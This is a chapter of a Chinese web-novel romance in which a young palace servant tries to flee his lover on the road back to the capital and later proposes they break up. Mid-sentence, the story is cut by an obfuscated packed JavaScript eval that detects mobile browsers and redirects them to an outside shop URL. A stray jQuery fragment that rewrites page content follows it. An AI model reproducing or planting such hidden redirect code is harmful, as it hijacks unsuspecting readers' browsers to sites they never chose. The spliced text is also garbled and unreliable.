21.第 21 章
作品:《我真的没想女装钓皇帝啊》 两人进了镇上,一人一间屋要了热水洗澡。姜怀宁泡到一半,房门突然被敲响了两下。
“我出去买些东西,你在这里等我。”
“好。”
姜怀宁泡完澡,就坐在窗边梳头发,低头看着街上人来人往,商贩吆喝,行人悠闲。
如果他不告而别,离开“杨公公”留在这里呢?这么小个镇子,对户籍身份会查得很严吗?他有价值千两的东珠,是个千两富翁,户籍的事能靠钱摆平吗?
“咚咚——”门再次被敲响。
“我回来了。”裴璟的声音从外面传来。
姜怀宁收回思绪,起身去开门。
裴璟背上背着个包袱,一手提着一个食盒,身上的衣服换了一身,普通的棉布交襟劲装,外袍下摆只到膝下,袖口和长裤口都用布条束着,看起来一点儿都不像皇帝,更不像太监,只像个手长脚长,容貌俊朗,利落干练的民间男子,如果他包袱旁边没有多出那把剑的话。
“怎么还买了把剑?”姜怀宁帮他把剑和包袱拿下来。
“防身用,包袱里有新的衣服,等会儿吃完了换上,先把姜汤喝了。”
姜怀宁捧着碗喝完姜汤,碗放下时,桌上已经摆满了吃的,肉粥、茶叶蛋、豆泡汤、馄饨、炒羊肉……
要换了之前在皇城里,早饭这么吃他肯定很高兴,但是围猎之行路上,他每天都去裴璟那儿吃好吃的,已经免疫了。
姜怀宁忍不住吐槽,“谁家好人大早上这么吃?你拎这么多东西回来不累吗?”
又指着桌上一只完整的烧鸡:“它出现在这里合理吗?谁早上吃这么硬的菜?”
“你昨晚太累了,多吃点儿。”裴璟不觉得有什么,净手坐下,剥了个茶叶蛋,放进姜怀宁这边的碗里。
姜怀宁觉得裴璟说的好像也有道理,坐下吃了两粒馄饨,和茶叶蛋之后,便去撕了只鸡腿下来吃。
吃了两口,看着裴璟斯文的吃相,又想起刚才那个问题。
他觉得应该可行,有钱能使鬼推磨,他有一千两,花个一百两,总能买个假户籍了。
离京这些天,“杨公公”一次都没提过文书的事,他已经逐渐开始怀疑,是不是“杨公公”根本没有能力帮他办来文书啊。
那还不如现在就留在外面算了呢,求人不如求己,这次机会不能再错过了。
“阿潜哥,我们接下来去哪儿?”
“回京。”
姜怀宁对为什么回京没兴趣,但他知道从这里回京城去,起码得好几天,他完全可以在路上找个机会溜走。
可是姜怀宁没想到,出了客栈之后,裴璟又买了一匹马,两匹马换着跑,跑了晚上睡,白天跑,愣是在第二天下午就直逼京畿之地,根本没给姜怀宁什么溜走的机会。
姜怀宁被癫得直喊屁股疼,要裴璟停,裴璟还犹豫了一会儿,才终于停了下来。
两人进了家酒楼,山珍海味地点了一通,吃饱喝足,裴璟又要拉姜怀宁去赶路。
“不走了,好哥哥,我真的走不了了。”
姜怀宁抱着椅子不撒手,裴璟神情犹豫:“姜儿,等进了京城,便能好好休息,你再坚持一会儿?”
“你是铁人,我又不是……”
因眼下做男子装扮,姜怀宁在外头说话时就是自己的声音,邻座的客人便听见这边的漂亮少年一嗓子委屈道:“我大腿都磨破了……你就让我歇一会儿吧。”
纷纷探头来看热闹。
裴璟不知道他们因何好奇,但感觉出来不是什么好眼神,把姜怀宁打横抱起来:“行,歇一会儿,我去要间房。”
邻座客人调笑道:“公子,小书童娇嫩,可得节制些,别把人玩坏了!”
裴璟脸色骤然一沉,停下脚步,把姜怀宁放下,回身揪住那调笑的客人就是一拳。
姜怀宁后退,靠在墙上,害怕被误伤。
“对别人的娘子污言秽语,很有意思是吗?”
裴璟将那人连人带桌一起摔在了地上,巨大的动静吓得楼上雅座的客人惊叫四起。
直到裴璟带着姜怀宁离去,那客人还觉得自己很冤枉,捂着被打肿的脸呜咽道:“明明就是个小书童……他非要说是他娘子!”
裴璟打了人,怕万一引来官府,会耽误他的计划,只能带着姜怀宁立马又走了,只是不再骑马,而是换了辆马车,买了几个软垫放在里头,好让姜怀宁坐得舒服一些。
没雇马夫,裴璟在外头赶车,姜怀宁一人独坐马车里,侧躺在软垫上,眼看路边屋舍越来越多,就快要到京城了,黑亮的眼珠子直打转,伸手掀开前方的车帘。
“阿潜哥,我要解手。”
裴璟没回头,奇怪道:“方才在酒楼,不是去过恭房?”
“水喝多了,又想……”
马车停了。
秋天的郊野,遍地黄草。裴璟跟着姜怀宁一起走进草地里。
姜怀宁回头看他。
裴璟:“怕有野狗吓着你,我在这儿守着。”
姜怀宁点点头,走远了,在草地里蹲下,见裴璟背对着自己站在草地里,左右打量附近地形,慢慢朝后退,打算从后面一座小山背后逃走。
裴璟微微侧头:“别走远了。”
“哦!”姜怀宁应了声,然后越退越远。
秋风萧瑟,黄草婆娑作响,裴璟等了许久都没有听到姜怀宁回来的动静。
“姜儿?”
无人应答,唯有秋风吹乱头发,裴璟心里渐渐浮上不安。
“我回头了,姜儿?”
裴璟终于转回了头,而身后空无一人。
“姜儿!!!”
绝望的吼声回荡原野。
姜怀宁从小长在农村,在这种崎岖不平的路上跑步对他来说并不是什么难事。
他还很有自信,杨公公应该追不到他。比较这里面没路,马车进不来,而他这种乡下小子,肯定比“杨公公”这种养尊处优的大太监能跑多了。
跑,跑过这座小山丘,到了平地应该就能看到村庄,越跑越开心,越跑越来劲儿,还忍不住跳了几下,就差像只猴子一样吼两声了。
不过姜怀宁没吼,却突然听见天上传来了吼声。
“小姜!!!”
姜怀宁心跳差点被吼停了一拍,闻声抬头,只见小山丘顶上赫然站着个修长人影。
太远姜怀宁看不清表情,但他就是觉得“杨公公”眼里应该在喷火。
他紧张地咽了咽口水,犹豫着要不要继续往前跑,山上那人已经纵身一跃,从山坡上迅速滑了下来。
裴璟以最快的速度爬了趟山,又从山上滑下来,浑身是汗,头发上挂着草,衣服被灌木划得到处是破洞,一点儿也顾不得仪容,朝姜怀宁逼近过来。
“姜儿,你解个手,何以跑了这么远?”
裴璟眼神沉得可怕。
“我,我……”姜怀宁紧张地攥着手,他觉得他现在要是说想走,“杨公公”甚至能当场吃了他!
“我迷路了!吓死我了呜……”姜怀宁直接扑进了裴璟怀里,“夫君!还好你找到我了!”
“下次别乱跑。”裴璟小臂勒住姜怀宁后腰,仿佛恨不得把人揉进怀里去,“我还以为你出事了。”
一手扣住他后颈,低下头,亲得姜怀宁脖子直朝后仰,两人一个在山脚下跑了这么久,一个在山上追了那么久,接了个气喘吁吁的吻。
离京不远,裴璟将马车弃了,又和姜怀宁共乘一骑,姜怀宁侧坐着在马背上,屁股下垫着个软垫,靠在裴璟怀里。
骑马当然还是颠簸的,屁股垫了软垫是好多了,但是姜怀宁身体却更加难受。
他这会儿是真想解手了,但他哪儿敢说,只能在马背上暗暗夹-着两-腿忍耐。
忍得眼泛泪花,总怀疑再下一个颠簸就要颠出来了,脑袋里一琢磨,决定找点儿话题来转移注意力。
“阿潜哥,我弟弟的放归文书,是不是很难办?”自己又救了他一次,陪他在山洞里过夜,说一句糟糠之妻也不为过,现在两人感情应该很好,可以再打探这个敏感问题了。
裴璟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684420|188699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果然没有什么情绪变化,只是突然想起来有件事现在是时候和小姜解释清楚了。
“你是不是听说之前乾安殿死了很多太监,所以觉得乾安殿很危险,不想让你弟弟去乾安殿当差?”
姜怀宁点点头。
裴璟:“其实死的那些太监,都是刺客,他们想杀皇帝,才被处死的,你弟弟又不是刺客,去了乾安殿又怎么会有性命之忧呢?”
姜怀宁:“你说的都是真的?”
裴璟:“真的,宫里的消息我最清楚,而且皇帝知道这些传言让太监宫女们觉得恐慌,为了安抚御前众人,还把御前伺候的月俸翻了倍。你又何必非要让你弟弟放归出宫?去御前挣个前程岂不是更好?”
姜怀宁静了片刻,又问一遍:“我弟弟去了御前真的不会有性命危险?”
裴璟肯定地回答:“不会,御前,乃至整个皇城里头的刺客皆已排查干净,你弟弟去御前,不会受到刺杀波及,且御前总管与我交好,我会让他照看你弟弟姜怀宁。”
姜怀宁久久沉默,其实如果不是有生命危险,他也不是那么想出宫,毕竟宫外他谁也不认识,也不知道到底要怎么生活,但是宫里,至少有楚田周胜他们。
“那皇上的脾气好不好?会不会突然生气要砍人的脑袋?”姜怀宁又追问道。
裴璟低头看他,认真道:“皇帝登基半年,从未在气头上杀人,他若要谁死,那人必定是罪行累累,该死。”
姜怀宁眨了眨眼睛,总觉得“杨公公”说的怪骄傲的呢?难道是皇帝的粉丝?
“御前太监一个月有多少月俸?”
“六两,每月休沐四天。”
姜怀宁惊了,是他现在月俸的六倍,休沐多了两天!听起来还挺好的。
回到京城时天已经黑了。今日街上氛围与平时很不一样,到处都有人讳莫如深地交头接耳。
“听说了吗?皇上在去行宫的路上身亡了,明天新帝就要登基……”
姜怀宁一怔,怎么还出了这么件事?皇帝又被刺杀了?难道这就是“杨公公”为什么带他离开围猎队伍的原因?
“谣言,皇帝没死。”裴璟朝姜怀宁解释道,“不过你先别说出去。”
一直到他们进了皇城,姜怀宁也没有找到合适的机会溜走。
皇城守卫森严,弥漫着一种不同寻常的氛围,守门的侍卫没有查验他们身份,而是见到他们就安静地单膝下跪。
姜怀宁心里有点儿明白了,也许皇帝有什么计划,而“杨公公”是御马监的掌印,手下掌两万禁军兵马,大概是提前回来帮皇帝悄悄执行什么任务的。
裴璟实在舍不得和姜怀宁分开,但他今晚必须回宫,宫里还有一桩大事等着他去处理,只能把姜怀宁在宫道上放下。
把人按在怀里好好亲了两遍,才放了手,拇指擦去红唇上的水润:“你先回去,过两日事忙完了,我去找你。”
姜怀宁却拧着眉毛,一副欲言又止的样子。
裴璟关怀问道:“怎么了?”
姜怀宁想来想去,还是说了:“那个……我们,我们分手吧?”
自从听了“杨公公”的解释后,他一路上想了很多,他在路上说要走,不回宫了,“杨公公”肯定会觉得他有问题,不会放过他。
但是人都回来了,反正他也已经知道了皇帝不是乱杀人的人,之前都是谣言,那去乾安殿当差也没关系,而且怎么看,“杨公公”都不想帮他办这个文书的样子,但是对他的占有欲,却越来越强了。
这个恋爱再继续谈下去,姜怀宁怕自己恐怕会逃不出“杨公公”的手心,不如趁现在恋爱的时间还不算太长,分手算了。
裴璟却是如遭雷击,他没听过“分手”这个说法,但是却听懂了姜怀宁的意思,沉默许久,问:“为何?是我哪里做得不好吗?”
是不是让“她”吃苦了?是不是他不讨女郎的喜欢?
“女郎”却说不是。
“只是不喜欢了,不喜欢了就分手,这是很正常的呀,咱们好聚好散,你别往心里去啊。”

